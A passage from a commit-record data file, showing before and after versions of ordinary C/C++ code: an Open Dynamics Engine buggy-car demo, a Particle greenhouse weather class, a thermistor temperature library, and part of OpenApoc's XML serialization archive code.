dsDrawCylinder dsDrawCylinderD\n#define dsDrawCappedCylinder dsDrawCappedCylinderD\n#endif\n\n\n\/\/ some constants\n\n#define LENGTH 0.7\t\/\/ chassis length\n#define WIDTH 0.5\t\/\/ chassis width\n#define HEIGHT 0.2\t\/\/ chassis height\n#define RADIUS 0.18\t\/\/ wheel radius\n#define STARTZ 0.5\t\/\/ starting height of chassis\n#define CMASS 1\t\t\/\/ chassis mass\n#define WMASS 0.2\t\/\/ wheel mass\n\n\n\/\/ dynamics and collision objects (chassis, 3 wheels, environment)\n\nstatic dWorldID world;\nstatic dSpaceID space;\nstatic dBodyID body[4];\nstatic dJointID joint[3];\t\/\/ joint[0] is the front wheel\nstatic dJointID dmotor,smotor;\t\/\/ front wheel drive & steering motors\nstatic dJointGroupID contactgroup;\nstatic dGeomID ground;\nstatic dGeomID box[1];\nstatic dGeomID sphere[3];\nstatic dGeomID ground_box;\n\n\n\/\/ things that the user controls\n\nstatic dReal speed=0,steer=0;\t\/\/ user commands\n\n\n\n\/\/ this is called by dSpaceCollide when two objects in space are\n\/\/ potentially colliding.\n\nstatic void nearCallback (void *data, dGeomID o1, dGeomID o2)\n{\n  \/\/ only collide things with the ground\n  int g1 = (o1 == ground || o1 == ground_box);\n  int g2 = (o2 == ground || o2 == ground_box);\n  if (!(g1 ^ g2)) return;\n\n  dContact contact;\n  contact.surface.mode = 0;\n  contact.surface.mu = dInfinity;\n  if (dCollide (o1,o2,0,&contact.geom,sizeof(dContactGeom))) {\n    \/\/    if (o1==ground_box) printf (\"foo 1\\n\");\n    \/\/    if (o2==ground_box) printf (\"foo 2\\n\");\n\n    dJointID c = dJointCreateContact (world,contactgroup,&contact);\n    dJointAttach (c,dGeomGetBody(o1),dGeomGetBody(o2));\n  }\n}\n\n\n\/\/ start simulation - set viewpoint\n\nstatic void start()\n{\n  static float xyz[3] = {0.8317,-0.9817,0.8000};\n  static float hpr[3] = {121.0000,-27.5000,0.0000};\n  dsSetViewpoint (xyz,hpr);\n}\n\n\n\/\/ called when a key pressed\n\nstatic void command (int cmd)\n{\n  switch (cmd) {\n  case 'a': case 'A':\n    speed += 0.3;\n    break;\n  case 'z': case 'Z':\n    speed -= 0.3;\n    break;\n  case ',':\n    steer -= 0.2;\n    break;\n  case '.':\n    steer += 0.2;\n    break;\n  case ' ':\n    speed = 0;\n    steer = 0;\n    break;\n  }\n}\n\n\n\/\/ simulation loop\n\nstatic void simLoop (int pause)\n{\n  int i;\n  if (!pause) {\n    \/\/dJointSetRMotorVel (dmotor,speed);\n    \/\/dJointSetRMotorTmax (dmotor,0.1);\n    dJointSetHingeVel (joint[2],speed);\n    dJointSetHingeTmax (joint[2],0.1);\n\n    dJointSetRMotorVel (smotor,steer);\n    dJointSetRMotorTmax (smotor,0.1);\n\n    dSpaceCollide (space,0,&nearCallback);\n    dWorldStep (world,0.05);\n\n    \/\/ remove all contact joints\n    dJointGroupEmpty (contactgroup);\n  }\n\n  dsSetColor (0,1,1);\n  dsSetTexture (DS_WOOD);\n  dReal sides[3] = {LENGTH,WIDTH,HEIGHT};\n  dsDrawBox (dBodyGetPosition(body[0]),dBodyGetRotation(body[0]),sides);\n  dsSetColor (1,1,1);\n  for (i=1; i<=3; i++) dsDrawCylinder (dBodyGetPosition(body[i]),\n\t\t\t\t       dBodyGetRotation(body[i]),0.02,RADIUS);\n\n  \/*\n  dVector3 ss;\n  dGeomBoxGetLengths (ground_box,ss);\n  dsDrawBox (dGeomGetPosition(ground_box),dGeomGetRotation(ground_box),ss);\n  *\/\n\n  printf (\"%.10f %.10f %.10f %.10f\\n\",\n\t  dJointGetHingeAngle (joint[1]),\n\t  dJointGetHingeAngle (joint[2]),\n\t  dJointGetHingeAngleRate (joint[1]),\n\t  dJointGetHingeAngleRate (joint[2]));\n}\n\n\nint main (int argc, char **argv)\n{\n  int i;\n  dMass m;\n\n  \/\/ setup pointers to drawstuff callback functions\n  dsFunctions fn;\n  fn.version = DS_VERSION;\n  fn.start = &start;\n  fn.step = &simLoop;\n  fn.command = &command;\n  fn.stop = 0;\n  fn.path_to_textures = \"..\/..\/drawstuff\/textures\";\n\n  \/\/ create world\n\n  world = dWorldCreate();\n  space = dSpaceCreate();\n  contactgroup = dJointGroupCreate (1000000);\n  dWorldSetGravity (world,0,0,-0.5);\n  ground = dCreatePlane (space,0,0,1,0);\n\n  \/\/ chassis body\n  body[0] = dBodyCreate (world);\n  dBodySetPosition (body[0],0,0,STARTZ);\n  dMassSetBox (&m,1,LENGTH,WIDTH,HEIGHT);\n  dMassAdjust (&m,CMASS);\n  dBodySetMass (body[0],&m);\n  box[0] = dCreateBox (space,LENGTH,WIDTH,HEIGHT);\n  dGeomSetBody (box[0],body[0]);\n\n  \/\/ wheel bodies\n  for (i=1; i<=3; i++) {\n    body[i] = dBodyCreate (world);\n    dQuaternion q;\n    dQFromAxisAndAngle (q,1,0,0,M_PI*0.5);\n    dBodySetQuaternion (body[i],q);\n    dMassSetSphere (&m,1,RADIUS);\n    dMassAdjust (&m,WMASS);\n    dBodySetMass (body[i],&m);\n    sphere[i-1] = dCreateSphere (space,RADIUS);\n    dGeomSetBody (sphere[i-1],body[i]);\n  }\n  dBodySetPosition (body[1],0.5*LENGTH,0,STARTZ-HEIGHT*0.5);\n  dBodySetPosition (body[2],-0.5*LENGTH, WIDTH*0.5,STARTZ-HEIGHT*0.5);\n  dBodySetPosition (body[3],-0.5*LENGTH,-WIDTH*0.5,STARTZ-HEIGHT*0.5);\n\n  \/\/ front wheel hinge\n  joint[0] = dJointCreateHinge2 (world,0);\n  dJointAttach (joint[0],body[0],body[1]);\n  const dReal *a = dBodyGetPosition (body[1]);\n  dJointSetHinge2Anchor (joint[0],a[0],a[1],a[2]);\n  dJointSetHinge2Axis1 (joint[0],0,0,1);\n  dJointSetHinge2Axis2 (joint[0],0,1,0);\n\n  \/\/ back wheel hinges\n  for (i=1; i<3; i++) {\n    joint[i] = dJointCreateHinge (world,0);\n    dJointAttach (joint[i],body[0],body[i+1]);\n    const dReal *a = dBodyGetPosition (body[i+1]);\n    dJointSetHingeAnchor (joint[i],a[0],a[1],a[2]);\n    dJointSetHingeAxis (joint[i],0,1,0);\n  }\n\n  \/\/ front wheel motors\n  \/\/dmotor = dJointCreateRMotor (world,0);\n  \/\/dJointAttach (dmotor,body[1],body[0]);\n  \/\/dJointSetRMotorAxis (dmotor,0,1,0);\t\t\/\/ motor axis rel to 1st body\n  smotor = dJointCreateRMotor (world,0);\n  dJointAttach (smotor,body[0],body[1]);\n  dJointSetRMotorAxis (smotor,0,0,1);\t\t\/\/ motor axis rel to 1st body\n\n  \/\/ environment\n  \/*\n  ground_box = dCreateBox (space,2,1.5,1);\n  dMatrix3 R;\n  dRFromAxisAndAngle (R,0,1,0,-0.15);\n  dGeomSetPosition (ground_box,2,0,-0.34);\n  dGeomSetRotation (ground_box,R);\n  *\/\n\n  \/\/ run simulation\n  dsSimulationLoop (argc,argv,352,288,&fn);\n\n  dJointGroupDestroy (contactgroup);\n  dSpaceDestroy (space);\n  dWorldDestroy (world);\n\n  return 0;\n}\n<commit_msg>hmmmm.<commit_after>\/*************************************************************************\n *                                                                       *\n * Open Dynamics Engine, Copyright (C) 2001 Russell L. Smith.            *\n *                                                                       *\n * This library is free software; you can redistribute it and\/or         *\n * modify it under the terms of the GNU Lesser General Public            *\n * License as published by the Free Software Foundation; either          *\n * version 2.1 of the License, or (at your option) any later version.    *\n *                                                                       *\n * This library is distributed in the hope that it will be useful,       *\n * but WITHOUT ANY WARRANTY; without even the implied warranty of        *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU      *\n * Lesser General Public License for more details.                       *\n *                                                                       *\n * You should have received a copy of the GNU Lesser General Public      *\n * License along with this library (see the file LICENSE.TXT); if not,   *\n * write to the Free Software Foundation, Inc., 59 Temple Place,         *\n * Suite 330, Boston, MA 02111-1307 USA.                                 *\n *                                                                       *\n *************************************************************************\/\n\n#include <stdio.h>\n#include \"ode\/ode.h\"\n#include \"drawstuff\/drawstuff.h\"\n\n\n\/\/ select correct drawing functions\n\n#ifdef dDOUBLE\n#define dsDrawBox dsDrawBoxD\n#define dsDrawSphere dsDrawSphereD\n#define dsDrawCylinder dsDrawCylinderD\n#define dsDrawCappedCylinder dsDrawCappedCylinderD\n#endif\n\n\n\/\/ some constants\n\n#define LENGTH 0.7\t\/\/ chassis length\n#define WIDTH 0.5\t\/\/ chassis width\n#define HEIGHT 0.2\t\/\/ chassis height\n#define RADIUS 0.18\t\/\/ wheel radius\n#define STARTZ 0.5\t\/\/ starting height of chassis\n#define CMASS 1\t\t\/\/ chassis mass\n#define WMASS 0.2\t\/\/ wheel mass\n\n\n\/\/ dynamics and collision objects (chassis, 3 wheels, environment)\n\nstatic dWorldID world;\nstatic dSpaceID space;\nstatic dBodyID body[4];\nstatic dJointID joint[3];\t\/\/ joint[0] is the front wheel\nstatic dJointGroupID contactgroup;\nstatic dGeomID ground;\nstatic dGeomID box[1];\nstatic dGeomID sphere[3];\nstatic dGeomID ground_box;\n\n\n\/\/ things that the user controls\n\nstatic dReal speed=0,steer=0;\t\/\/ user commands\n\n\n\n\/\/ this is called by dSpaceCollide when two objects in space are\n\/\/ potentially colliding.\n\nstatic void nearCallback (void *data, dGeomID o1, dGeomID o2)\n{\n  \/\/ only collide things with the ground\n  int g1 = (o1 == ground || o1 == ground_box);\n  int g2 = (o2 == ground || o2 == ground_box);\n  if (!(g1 ^ g2)) return;\n\n  dContact contact;\n  contact.surface.mode = 0;\n  contact.surface.mu = dInfinity;\n  if (dCollide (o1,o2,0,&contact.geom,sizeof(dContactGeom))) {\n    \/\/    if (o1==ground_box) printf (\"foo 1\\n\");\n    \/\/    if (o2==ground_box) printf (\"foo 2\\n\");\n\n    dJointID c = dJointCreateContact (world,contactgroup,&contact);\n    dJointAttach (c,dGeomGetBody(o1),dGeomGetBody(o2));\n  }\n}\n\n\n\/\/ start simulation - set viewpoint\n\nstatic void start()\n{\n  static float xyz[3] = {0.8317,-0.9817,0.8000};\n  static float hpr[3] = {121.0000,-27.5000,0.0000};\n  dsSetViewpoint (xyz,hpr);\n}\n\n\n\/\/ called when a key pressed\n\nstatic void command (int cmd)\n{\n  switch (cmd) {\n  case 'a': case 'A':\n    speed += 0.3;\n    break;\n  case 'z': case 'Z':\n    speed -= 0.3;\n    break;\n  case ',':\n    steer += 0.5;\n    break;\n  case '.':\n    steer -= 0.5;\n    break;\n  case ' ':\n    speed = 0;\n    steer = 0;\n    break;\n  }\n}\n\n\n\/\/ simulation loop\n\nstatic void simLoop (int pause)\n{\n  int i;\n  if (!pause) {\n    \/\/ motor\n    dJointSetHingeParam (joint[2],dParamVel,speed);\n    dJointSetHingeParam (joint[2],dParamFMax,0.1);\n\n    \/\/ steering\n    printf (\"%.4f\\n\",dJointGetHinge2Angle1 (joint[0]));\n    dReal v = steer - dJointGetHinge2Angle1 (joint[0]);\n    if (v > 0.1) v = 0.1;\n    if (v < -0.1) v = -0.1;\n    v *= 10.0;\n    dJointSetHinge2Param1 (joint[0],dParamVel,v);\n    dJointSetHinge2Param1 (joint[0],dParamFMax,0.2);\n    dJointSetHinge2Param1 (joint[0],dParamLoStop,-0.75);\n    dJointSetHinge2Param1 (joint[0],dParamHiStop,0.75);\n    dJointSetHinge2Param1 (joint[0],dParamFudgeFactor,0.1);\n\n    dSpaceCollide (space,0,&nearCallback);\n    dWorldStep (world,0.05);\n\n    \/\/ remove all contact joints\n    dJointGroupEmpty (contactgroup);\n  }\n\n  dsSetColor (0,1,1);\n  dsSetTexture (DS_WOOD);\n  dReal sides[3] = {LENGTH,WIDTH,HEIGHT};\n  dsDrawBox (dBodyGetPosition(body[0]),dBodyGetRotation(body[0]),sides);\n  dsSetColor (1,1,1);\n  for (i=1; i<=3; i++) dsDrawCylinder (dBodyGetPosition(body[i]),\n\t\t\t\t       dBodyGetRotation(body[i]),0.02,RADIUS);\n\n  \/*\n  dVector3 ss;\n  dGeomBoxGetLengths (ground_box,ss);\n  dsDrawBox (dGeomGetPosition(ground_box),dGeomGetRotation(ground_box),ss);\n  *\/\n\n  \/*\n  printf (\"%.10f %.10f %.10f %.10f\\n\",\n\t  dJointGetHingeAngle (joint[1]),\n\t  dJointGetHingeAngle (joint[2]),\n\t  dJointGetHingeAngleRate (joint[1]),\n\t  dJointGetHingeAngleRate (joint[2]));\n  *\/\n}\n\n\nint main (int argc, char **argv)\n{\n  int i;\n  dMass m;\n\n  \/\/ setup pointers to drawstuff callback functions\n  dsFunctions fn;\n  fn.version = DS_VERSION;\n  fn.start = &start;\n  fn.step = &simLoop;\n  fn.command = &command;\n  fn.stop = 0;\n  fn.path_to_textures = \"..\/..\/drawstuff\/textures\";\n\n  \/\/ create world\n\n  world = dWorldCreate();\n  space = dSpaceCreate();\n  contactgroup = dJointGroupCreate (1000000);\n  dWorldSetGravity (world,0,0,-0.5);\n  ground = dCreatePlane (space,0,0,1,0);\n\n  \/\/ chassis body\n  body[0] = dBodyCreate (world);\n  dBodySetPosition (body[0],0,0,STARTZ);\n  dMassSetBox (&m,1,LENGTH,WIDTH,HEIGHT);\n  dMassAdjust (&m,CMASS);\n  dBodySetMass (body[0],&m);\n  box[0] = dCreateBox (space,LENGTH,WIDTH,HEIGHT);\n  dGeomSetBody (box[0],body[0]);\n\n  \/\/ wheel bodies\n  for (i=1; i<=3; i++) {\n    body[i] = dBodyCreate (world);\n    dQuaternion q;\n    dQFromAxisAndAngle (q,1,0,0,M_PI*0.5);\n    dBodySetQuaternion (body[i],q);\n    dMassSetSphere (&m,1,RADIUS);\n    dMassAdjust (&m,WMASS);\n    dBodySetMass (body[i],&m);\n    sphere[i-1] = dCreateSphere (space,RADIUS);\n    dGeomSetBody (sphere[i-1],body[i]);\n  }\n  dBodySetPosition (body[1],0.5*LENGTH,0,STARTZ-HEIGHT*0.5);\n  dBodySetPosition (body[2],-0.5*LENGTH, WIDTH*0.5,STARTZ-HEIGHT*0.5);\n  dBodySetPosition (body[3],-0.5*LENGTH,-WIDTH*0.5,STARTZ-HEIGHT*0.5);\n\n  \/\/ front wheel hinge\n  joint[0] = dJointCreateHinge2 (world,0);\n  dJointAttach (joint[0],body[0],body[1]);\n  const dReal *a = dBodyGetPosition (body[1]);\n  dJointSetHinge2Anchor (joint[0],a[0],a[1],a[2]);\n  dJointSetHinge2Axis1 (joint[0],0,0,1);\n  dJointSetHinge2Axis2 (joint[0],0,1,0);\n\n  \/\/ back wheel hinges\n  for (i=1; i<3; i++) {\n    joint[i] = dJointCreateHinge (world,0);\n    dJointAttach (joint[i],body[0],body[i+1]);\n    const dReal *a = dBodyGetPosition (body[i+1]);\n    dJointSetHingeAnchor (joint[i],a[0],a[1],a[2]);\n    dJointSetHingeAxis (joint[i],0,1,0);\n  }\n\n  \/\/ environment\n  \/*\n  ground_box = dCreateBox (space,2,1.5,1);\n  dMatrix3 R;\n  dRFromAxisAndAngle (R,0,1,0,-0.15);\n  dGeomSetPosition (ground_box,2,0,-0.34);\n  dGeomSetRotation (ground_box,R);\n  *\/\n\n  \/\/ run simulation\n  dsSimulationLoop (argc,argv,352,288,&fn);\n\n  dJointGroupDestroy (contactgroup);\n  dSpaceDestroy (space);\n  dWorldDestroy (world);\n\n  return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before># include \"particle-functions.h\"\n# include <application.h>\n\nvoid WeatherData :: message(int data)     \/\/ defined outside class definition\n{\n Serial.print(\"Timestamp: \"); Serial.println(weatherTime);\n Serial.print(\"Temp (F): \"); Serial.println(greenhouseTemp);\n Serial.print(\"Humidity (%): \"); Serial.println(greenhouseHumidity);\n}\n\nvoid WeatherData :: weatherData(unsigned int weatherTime, int greenhouseTemp,int greenhouseHumidity,\n                                int backupGreenhouseTemp, int backupGreenhouseHumidity,int outsideTemp, \n                                int outsideHumidity, int high, int low)\n {\n _weatherTime = weatherTime;\n _greenhouseTemp = greenhouseTemp;\n _greenhouseHumidity = greenhouseHumidity;\n _backupGreenhouseTemp = backupGreenhouseTemp;\n _backupGreenhouseHumidity = backupGreenhouseHumidity;\n _outsideTemp = outsideTemp;\n _outsideHumidity = outsideHumidity;\n _high = high;\n _low = low;\n }\n\nvoid WeatherData :: init()\n{\n Spark.function(\"ghData\",greenhouseData);\n}\n \n<commit_msg>Update particle-functions.cpp<commit_after># include \"particle-functions2.h\"\n# include <application.h>\n\nvoid WeatherData :: message(int data)     \/\/ defined outside class definition\n{\n Serial.print(\"Timestamp: \"); Serial.println(weatherTime);\n Serial.print(\"Temp (F): \"); Serial.println(greenhouseTemp);\n Serial.print(\"Humidity (%): \"); Serial.println(greenhouseHumidity);\n}\n\nvoid WeatherData :: weatherData(unsigned int weatherTime, int greenhouseTemp,int greenhouseHumidity,\n                                int backupGreenhouseTemp, int backupGreenhouseHumidity,int outsideTemp, \n                                int outsideHumidity, int high, int low)\n {\n _weatherTime = weatherTime;\n _greenhouseTemp = greenhouseTemp;\n _greenhouseHumidity = greenhouseHumidity;\n _backupGreenhouseTemp = backupGreenhouseTemp;\n _backupGreenhouseHumidity = backupGreenhouseHumidity;\n _outsideTemp = outsideTemp;\n _outsideHumidity = outsideHumidity;\n _high = high;\n _low = low;\n }\n\nvoid WeatherData :: init()\n{\n Spark.function(\"ghData\",greenhouseData);\n}\n \n<|endoftext|>"}
{"text":"<commit_before>#include \"thermistor-library.h\"\n\nThermistor::Thermistor(int pin, int resistor) {\n\t_pin = pin;\n\t_resistor = resistor;\n}\n\n\nvoid Thermistor::begin(void) {\n\tpinMode(_pin, INPUT);\n}\n\n\nint Thermistor::getTempRaw(bool smooth=false) {\n\tdelay(1);\n\t\n\tif(smooth==true) {\n\t\tint total = 0;\n\t\t\n\t\tfor(int i=0; i<100; i++) {\n\t\t\ttotal += analogRead(_pin);\n\t\t\tdelay(1);\n\t\t}\n\t\t\n\t\t_temp_raw = total\/100;\n\t} else\n\t\t_temp_raw = analogRead(_pin);\n\n\treturn _temp_raw;\n}\n\n\nfloat Thermistor::getTempK(bool smooth=false) {\n\t_temp_raw = getTempRaw(smooth);\n\n\t_temp_k = log(((40960000\/_temp_raw) - _resistor));\n\t_temp_k = 1 \/ (0.001129148 + (0.000234125 + (0.0000000876741 * _temp_k * _temp_k ))* _temp_k);\n\t\n\treturn _temp_k;\n}\n\n\nfloat Thermistor::getTempC(bool smooth) {\n\t_temp_k = getTempK(smooth);\n\t\n\t_temp_c = _temp_k - 273.15;\n\n\treturn _temp_c;\n}\n\n\nfloat Thermistor::getTempF(bool smooth) {\n\t_temp_c = getTempC(smooth);\n\t\n\t_temp_f = (_temp_c * 9.0)\/ 5.0 + 32.0;\n\n\treturn _temp_f;\n}\n\n\nfloat Thermistor::getTemp(bool smooth) {\n\treturn getTempC(smooth);\n}\n<commit_msg>missed out some default param<commit_after>#include \"thermistor-library.h\"\n\nThermistor::Thermistor(int pin, int resistor) {\n\t_pin = pin;\n\t_resistor = resistor;\n}\n\n\nvoid Thermistor::begin(void) {\n\tpinMode(_pin, INPUT);\n}\n\n\nint Thermistor::getTempRaw(bool smooth) {\n\tdelay(1);\n\t\n\tif(smooth==true) {\n\t\tint total = 0;\n\t\t\n\t\tfor(int i=0; i<100; i++) {\n\t\t\ttotal += analogRead(_pin);\n\t\t\tdelay(1);\n\t\t}\n\t\t\n\t\t_temp_raw = total\/100;\n\t} else\n\t\t_temp_raw = analogRead(_pin);\n\n\treturn _temp_raw;\n}\n\n\nfloat Thermistor::getTempK(bool smooth) {\n\t_temp_raw = getTempRaw(smooth);\n\n\t_temp_k = log(((40960000\/_temp_raw) - _resistor));\n\t_temp_k = 1 \/ (0.001129148 + (0.000234125 + (0.0000000876741 * _temp_k * _temp_k ))* _temp_k);\n\t\n\treturn _temp_k;\n}\n\n\nfloat Thermistor::getTempC(bool smooth) {\n\t_temp_k = getTempK(smooth);\n\t\n\t_temp_c = _temp_k - 273.15;\n\n\treturn _temp_c;\n}\n\n\nfloat Thermistor::getTempF(bool smooth) {\n\t_temp_c = getTempC(smooth);\n\t\n\t_temp_f = (_temp_c * 9.0)\/ 5.0 + 32.0;\n\n\treturn _temp_f;\n}\n\n\nfloat Thermistor::getTemp(bool smooth) {\n\treturn getTempC(smooth);\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"framework\/serialization\/serialize.h\"\n#include \"dependencies\/pugixml\/src\/pugixml.hpp\"\n#include \"framework\/filesystem.h\"\n#include \"framework\/logger.h\"\n#include \"framework\/serialization\/providers\/filedataprovider.h\"\n#include \"framework\/serialization\/providers\/providerwithchecksum.h\"\n#include \"framework\/serialization\/providers\/zipdataprovider.h\"\n#include \"framework\/trace.h\"\n#include \"library\/sp.h\"\n#include \"library\/strings.h\"\n#include \"library\/strings_format.h\"\n#include <deque>\n#include <map>\n#include <sstream>\n\nnamespace OpenApoc\n{\n\nSerializationNode *SerializationNode::getNodeReq(const char *name)\n{\n\tauto node = this->getNodeOpt(name);\n\tif (!node)\n\t{\n\t\tthrow SerializationException(format(\"Missing node \\\"%s\\\"\", name), this);\n\t}\n\treturn node;\n}\n\nSerializationNode *SerializationNode::getSectionReq(const char *name)\n{\n\tauto node = this->getSectionOpt(name);\n\tif (!node)\n\t{\n\t\tthrow SerializationException(format(\"Missing section \\\"%s\\\"\", name), this);\n\t}\n\treturn node;\n}\n\nSerializationNode *SerializationNode::getNextSiblingReq(const char *name)\n{\n\tauto node = this->getNextSiblingOpt(name);\n\tif (!node)\n\t{\n\t\tthrow SerializationException(format(\"Missing sibling of \\\"%s\\\"\", name), this);\n\t}\n\treturn node;\n}\n\nusing namespace pugi;\nclass XMLSerializationArchive;\n\nclass XMLSerializationNode final : public SerializationNode\n{\n  private:\n\tSerializationDataProvider *dataProvider;\n\tXMLSerializationArchive *archive;\n\txml_node node;\n\tXMLSerializationNode *parent;\n\tUString prefix;\n\n  public:\n\tXMLSerializationNode(XMLSerializationArchive *archive, xml_node node,\n\t                     XMLSerializationNode *parent)\n\t    : archive(archive), node(node), parent(parent)\n\t{\n\t}\n\n\tXMLSerializationNode(XMLSerializationArchive *archive, xml_node node, const UString &prefix)\n\t    : archive(archive), node(node), parent(nullptr), prefix(prefix)\n\t{\n\t}\n\n\tSerializationNode *addNode(const char *name, const UString &value = \"\") override;\n\tSerializationNode *addSection(const char *name) override;\n\n\tSerializationNode *getNodeOpt(const char *name) override;\n\tSerializationNode *getNextSiblingOpt(const char *name) override;\n\tSerializationNode *getSectionOpt(const char *name) override;\n\n\tUString getName() override;\n\tvoid setName(const UString &str) override;\n\tUString getValue() override;\n\tvoid setValue(const UString &str) override;\n\n\tunsigned int getValueUInt() override;\n\tvoid setValueUInt(unsigned int i) override;\n\n\tunsigned char getValueUChar() override;\n\tvoid setValueUChar(unsigned char i) override;\n\n\tint getValueInt() override;\n\tvoid setValueInt(int i) override;\n\n\tunsigned long long getValueUInt64() override;\n\tvoid setValueUInt64(unsigned long long i) override;\n\n\tlong long getValueInt64() override;\n\tvoid setValueInt64(long long i) override;\n\n\tfloat getValueFloat() override;\n\tvoid setValueFloat(float f) override;\n\n\tbool getValueBool() override;\n\tvoid setValueBool(bool b) override;\n\n\tstd::vector<bool> getValueBoolVector() override;\n\tvoid setValueBoolVector(const std::vector<bool> &vec) override;\n\n\tUString getFullPath() override;\n\tconst UString &getPrefix() const override\n\t{\n\t\tif (this->parent)\n\t\t\treturn this->parent->getPrefix();\n\t\telse\n\t\t\treturn this->prefix;\n\t}\n\n\t~XMLSerializationNode() override = default;\n};\n\nclass XMLSerializationArchive final : public SerializationArchive\n{\n  private:\n\tup<SerializationDataProvider> dataProvider;\n\tstd::map<UString, xml_document> docRoots;\n\tstd::deque<XMLSerializationNode> nodes;\n\tfriend class SerializationArchive;\n\tfriend class XMLSerializationNode;\n\n  public:\n\tSerializationNode *newRoot(const UString &prefix, const char *name) override;\n\tSerializationNode *getRoot(const UString &prefix, const char *name) override;\n\tbool write(const UString &path, bool pack, bool pretty) override;\n\tXMLSerializationArchive() : dataProvider(nullptr), docRoots(){};\n\tXMLSerializationArchive(up<SerializationDataProvider> dataProvider)\n\t    : dataProvider(std::move(dataProvider)){};\n\t~XMLSerializationArchive() override = default;\n};\n\nup<SerializationArchive> SerializationArchive::createArchive()\n{\n\treturn mkup<XMLSerializationArchive>();\n}\n\nup<SerializationDataProvider> getProvider(bool pack)\n{\n\tif (!pack)\n\t{\n\t\t\/\/ directory loader\n\t\treturn mkup<ProviderWithChecksum>(mkup<FileDataProvider>());\n\t}\n\telse\n\t{\n\t\t\/\/ zip loader\n\t\treturn mkup<ProviderWithChecksum>(mkup<ZipDataProvider>());\n\t}\n}\n\nup<SerializationArchive> SerializationArchive::readArchive(const UString &path)\n{\n\tup<SerializationDataProvider> dataProvider = getProvider(!fs::is_directory(path.str()));\n\tif (!dataProvider->openArchive(path, false))\n\t{\n\t\tLogWarning(\"Failed to open archive at \\\"%s\\\"\", path);\n\t\treturn nullptr;\n\t}\n\tLogInfo(\"Opened archive \\\"%s\\\"\", path);\n\n\treturn mkup<XMLSerializationArchive>(std::move(dataProvider));\n}\n\nSerializationNode *XMLSerializationArchive::newRoot(const UString &prefix, const char *name)\n{\n\tauto path = prefix + name + \".xml\";\n\tauto root = this->docRoots[path].root().append_child();\n\tauto decl = this->docRoots[path].prepend_child(pugi::node_declaration);\n\tdecl.append_attribute(\"version\") = \"1.0\";\n\tdecl.append_attribute(\"encoding\") = \"UTF-8\";\n\troot.set_name(name);\n\treturn &this->nodes.emplace_back(this, root, prefix + name + \"\/\");\n}\n\nSerializationNode *XMLSerializationArchive::getRoot(const UString &prefix, const char *name)\n{\n\tauto path = prefix + name + \".xml\";\n\tif (dataProvider == nullptr)\n\t{\n\t\tLogWarning(\"Reading from not opened archive: %s!\", path);\n\t\treturn nullptr;\n\t}\n\n\tauto it = this->docRoots.find(path);\n\tif (it == this->docRoots.end())\n\t{\n\t\tTraceObj trace(\"Reading archive\", {{\"path\", path}});\n\t\tUString content;\n\t\tif (dataProvider->readDocument(path, content))\n\t\t{\n\t\t\t\/\/ FIXME: Make this actually read from the root and load the xinclude tags properly?\n\t\t\tauto &doc = this->docRoots[path];\n\t\t\tTraceObj traceParse(\"Parsing archive\", {{\"path\", path}});\n\t\t\tauto parse_result = doc.load_string(content.cStr());\n\t\t\tif (!parse_result)\n\t\t\t{\n\t\t\t\tLogInfo(\"Failed to parse \\\"%s\\\" : \\\"%s\\\" at \\\"%llu\\\"\", path,\n\t\t\t\t        parse_result.description(), (unsigned long long)parse_result.offset);\n\t\t\t\treturn nullptr;\n\t\t\t}\n\t\t\tit = this->docRoots.find(path);\n\t\t\tLogInfo(\"Parsed \\\"%s\\\"\", path);\n\t\t}\n\t}\n\tif (it == this->docRoots.end())\n\t{\n\t\treturn nullptr;\n\t}\n\n\tauto root = it->second.child(name);\n\tif (!root)\n\t{\n\t\tLogWarning(\"Failed to find root with name \\\"%s\\\" in \\\"%s\\\"\", name, path);\n\t\treturn nullptr;\n\t}\n\treturn &this->nodes.emplace_back(this, root, prefix + name + \"\/\");\n}\n\nbool XMLSerializationArchive::write(const UString &path, bool pack, bool pretty)\n{\n\tTraceObj trace(\"Writing archive\", {{\"path\", path}});\n\t\/\/ warning! data provider must be freed when this method ends,\n\t\/\/ so code calling this method may override archive\n\tauto dataProvider = getProvider(pack);\n\tif (!dataProvider->openArchive(path, true))\n\t{\n\t\tLogWarning(\"Failed to open archive at \\\"%s\\\"\", path);\n\t\treturn false;\n\t}\n\n\tfor (auto &root : this->docRoots)\n\t{\n\t\tTraceObj traceSave(\"Saving root\", {{\"root\", root.first}});\n\t\tstd::stringstream ss;\n\t\tunsigned int flags = pugi::format_default;\n\t\tif (pretty == false)\n\t\t{\n\t\t\tflags = pugi::format_raw;\n\t\t}\n\t\troot.second.save(ss, \"\", flags);\n\t\tTraceObj traceSaveData(\"Saving root data\", {{\"root\", root.first}});\n\t\tif (!dataProvider->saveDocument(root.first, ss.str()))\n\t\t{\n\t\t\treturn false;\n\t\t}\n\t}\n\n\treturn dataProvider->finalizeSave();\n}\n\nSerializationNode *XMLSerializationNode::addNode(const char *name, const UString &value)\n{\n\tauto newNode = this->node.append_child();\n\tnewNode.set_name(name);\n\tnewNode.text().set(value.cStr());\n\treturn &this->archive->nodes.emplace_back(this->archive, newNode, this);\n}\n\nSerializationNode *XMLSerializationNode::getNodeOpt(const char *name)\n{\n\tauto newNode = this->node.child(name);\n\tif (!newNode)\n\t{\n\t\treturn nullptr;\n\t}\n\treturn &this->archive->nodes.emplace_back(this->archive, newNode, this);\n}\n\nSerializationNode *XMLSerializationNode::getNextSiblingOpt(const char *name)\n{\n\tauto newNode = this->node.next_sibling(name);\n\tif (!newNode)\n\t{\n\t\treturn nullptr;\n\t}\n\treturn &this->archive->nodes.emplace_back(this->archive, newNode, this);\n}\n\nSerializationNode *XMLSerializationNode::addSection(const char *name)\n{\n\tauto includeNode = static_cast<XMLSerializationNode *>(this->addNode(\"xi:include\"));\n\tauto path = UString(name) + \".xml\";\n\tauto nsAttribute = includeNode->node.append_attribute(\"xmlns:xi\");\n\tnsAttribute.set_value(\"http:\/\/www.w3.org\/2001\/XInclude\");\n\tauto attribute = includeNode->node.append_attribute(\"href\");\n\tattribute.set_value(path.cStr());\n\treturn this->archive->newRoot(this->getPrefix(), name);\n}\n\nSerializationNode *XMLSerializationNode::getSectionOpt(const char *name)\n{\n\treturn archive->getRoot(this->getPrefix(), name);\n}\n\nUString XMLSerializationNode::getName() { return node.name(); }\n\nvoid XMLSerializationNode::setName(const UString &str) { node.set_name(str.cStr()); }\n\nUString XMLSerializationNode::getValue() { return node.text().get(); }\n\nvoid XMLSerializationNode::setValue(const UString &str) 